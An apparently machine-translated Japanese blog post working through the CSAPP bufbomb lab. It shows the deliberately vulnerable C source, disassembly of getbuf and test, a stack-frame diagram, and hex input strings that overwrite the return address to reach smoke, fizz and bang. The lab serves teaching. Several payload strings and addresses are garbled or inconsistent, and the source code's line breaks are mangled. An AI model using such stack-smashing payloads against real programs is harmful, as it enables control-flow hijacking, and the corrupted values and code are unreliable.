csapp bufbomb実験

9175 ワード

csapp(『コンピュータシステムを深く理解する』)この本には、バッファオーバーフローに関する実験があり、そのプログラムコードは以下の通りである.
/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <signal.h>
#include <unistd.h>

/* Signal handler to catch bus errors */
void bushandler(int sig)
{
    printf("Crash!: You caused a bus error!
"); printf("Better luck next time
"); exit(0); } /* Signal handler to catch segmentation violations */ void seghandler(int sig) { printf("Ouch!: You caused a segmentation fault!
"); printf("Better luck next time
"); exit(0); } /* Alarm handler to catch infinite loops */ static int alarm_time = 600; void alarmhandler(int sig) { printf("Dead!: getbuf didn't complete within %d seconds
", alarm_time); printf("Better luck next time
"); exit(0); } /* Illegal instruction handler */ void illegalhandler(int sig) { printf("Oops!: You executed an illegal instruction
"); printf("Better luck next time
"); exit(0); } /* Like gets, except that characters are typed as pairs of hex digits. Nondigit characters are ignored. Stops when encounters newline */ char *getxs(char *dest) { int c; int even = 1; /* Have read even number of digits */ int otherd = 0; /* Other hex digit of pair */ char *sp = dest; while ((c = getchar()) != EOF && c != '
') { if (isxdigit(c)) { int val; if ('0' <= c && c <= '9') val = c - '0'; else if ('A' <= c && c <= 'F') val = c - 'A' + 10; else val = c - 'a' + 10; if (even) { otherd = val; even = 0; } else { *sp++ = otherd * 16 + val; even = 1; } } } *sp++ = '\0'; return dest; } int getbuf() { char buf[16]; getxs(buf); return 1; } void test() { int val; printf("Type Hex String: "); val = getbuf(); printf("getbuf returned 0x%x
", val); } void smoke() { printf("Smoke: You called smoke()
"); exit(0); } void fizz(int val) { if (val == 0xdeadbeef) { printf("Fizz!: You called fizz (0x%x)
", val); } else { printf("Misfire: You called fizz (0x%x)
", val); } exit(0); } int global_value = 0; void bang() { if (global_value == 0xdeadbeef) { printf("Bang!: You set global_value to 0x%x
", global_value); } else { printf("Misfire: global_value = 0x%x
", global_value); } exit(0); } int main() { int buf[16]; /* This little hack is an attempt to get the stack to be in a stable position */ int offset = (((int) buf) & 0xFFFF); int *space = (int *) alloca(offset); *space = 0; /* So that don't get complaint of unused variable */ signal(SIGSEGV, seghandler); signal(SIGBUS, bushandler); signal(SIGALRM, alarmhandler); signal(SIGILL, illegalhandler); /* Set up time out condition */ alarm(alarm_time); test(); return 0; }

要求プログラム出力Smoke!:You called smoke()
 
 
私が使用しているシステム環境(archlinux 2010.05、gcc 4.5.2、gdb 7.2、objdump(bintuils)2.21):
この問題で重要な2つの関数はtestとgetbufであり、この2つの関数を実行するスタックフレームレイアウトを理解する必要があります.
 
先に実行
gcc -o bufbomb -g -Wall bufbomb.c objdump -d bufbomb > bufbomb.sこの2つのコマンドはbufbombを得る.s、このファイルのtestとgetbufの対応内容は以下の通りです.
080486a6 <getbuf>:
 80486a6:	55                   	push   %ebp
 80486a7:	89 e5                	mov    %esp,%ebp
 80486a9:	83 ec 28             	sub    $0x28,%esp
 80486ac:	8d 45 e8             	lea    -0x18(%ebp),%eax
 80486af:	89 04 24             	mov    %eax,(%esp)
 80486b2:	e8 20 ff ff ff       	call   80485d7 <getxs>
 80486b7:	b8 01 00 00 00       	mov    $0x1,%eax
 80486bc:	c9                   	leave  
 80486bd:	c3                   	ret    

080486be <test>:
 80486be:	55                   	push   %ebp
 80486bf:	89 e5                	mov    %esp,%ebp
 80486c1:	83 ec 28             	sub    $0x28,%esp
 80486c4:	b8 ef 89 04 08       	mov    $0x80489ef,%eax
 80486c9:	89 04 24             	mov    %eax,(%esp)
 80486cc:	e8 63 fd ff ff       	call   8048434 <printf@plt>
 80486d1:	e8 d0 ff ff ff       	call   80486a6 <getbuf>
 80486d6:	89 45 f4             	mov    %eax,-0xc(%ebp)
 80486d9:	b8 01 8a 04 08       	mov    $0x8048a01,%eax
 80486de:	8b 55 f4             	mov    -0xc(%ebp),%edx
 80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486e5:	89 04 24             	mov    %eax,(%esp)
 80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>
 80486ed:	c9                   	leave  
 80486ee:	c3                   	ret    

最も左側の部分は、printf(「getbuf returned 0 x%x」、val)とアセンブリ命令のメモリアドレスです.この文に対応するアセンブリ文は、次のとおりです.
 80486e1:	89 54 24 04          	mov    %edx,0x4(%esp)
 80486e5:	89 04 24             	mov    %eax,(%esp)
 80486e8:	e8 47 fd ff ff       	call   8048434 <printf@plt>

ここでprintf命令アドレスは0 x 080486 e 8であり、intelプロセッサは小端法で表されるため、実際にはe 8860408と表される
 
gdb bufbombコマンドを実行し、getbuf関数にブレークポイントを設定します(break getbufで)
runコマンドを実行しgetbuffにジャンプしinfo regでレジスタ内容を表示しebp値0 xbffeffb 8を得る
 
上記の逆アセンブリの結果から分かるように、getbuf関数を呼び出すときのスタックフレーム(アドレスが高から低に配列されていると仮定)は、以下のように表される.
 
---------------
 
-----------------
 
---------------
getbuf戻りアドレス
----------------
ebp
------------------
暫定的に空白
-----------------
暫定的に空白
----------------
buf[12]-buf[15]
----------------
buf[8]-buf[11]
----------------
buf[4]-buf[7]
----------------
buf[0]-buf[3]
-----------------
 
getbufから戻ると、smokeの戻りアドレス(0 x 080486 ef、すなわちef 860408)をgetbufのあるアドレスに押し込むsmoke関数の内容を出力するように要求される.smoke関数には関数パラメータがないため、余計な処理は不要である.
次にbufbombプログラムを実行し、文字列の入力を促す.私が入力した文字列は:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 86 04 08
出力結果:Smoke:You called smoke()
ここで、前の24バイトは空であり(実際にはこれらのコンテンツは任意の値であってもよい)、次はebpアドレスであり、元のコンテンツを維持する必要がある.次にsmoke関数の戻りアドレスです.
 
現在、すべての実験が完全に完了していないため、戻りアドレスをfizzまたはbang関数に設定して、異なる出力結果を得ることもできます.
例えば、入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 0 d 87,008の場合、出力結果はMisfire:You called fizz(0 xb 773 bff 4)
入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 0 d 87 04 ef be ad de ef be ad de出力結果:Fizz!:You called fizz (0xdeadbeef)
この例ではfizzの戻りアドレスが使用されている(0 x 0804870 dでは、上の逆アセンブリコードでfizzタグの左側のアドレスを見つけることができ、またfizzのパラメータの内容が0 xefbeaddeに変更されずに変更された場合)
 
入力文字列が:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 5287,0008の場合、Misfire:global_value=0 x 0入力文字列が00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b 8 ff febf 64 87 04 08の場合、出力結果はBang!:You set global_value to 0 x 0この例は、bangに直接ジャンプする戻りアドレス(0 x 08048752)またはprintf(「Bang!:You set global_value to 0 x 0」)文に対応するアセンブリ文のヘッダアドレス(0 x 08048764)である
 
参照リンク:
bufbomb lab assignment
バッファオーバーフロー攻撃実験
ubuntu 9.10バッファオーバーフロー実験
insecure programming
linuxバッファオーバーフローの原理と対策
バッファオーバーフロー解析
非安全プログラミングプレゼンテーションの高度編
buffer overflow on wikipedia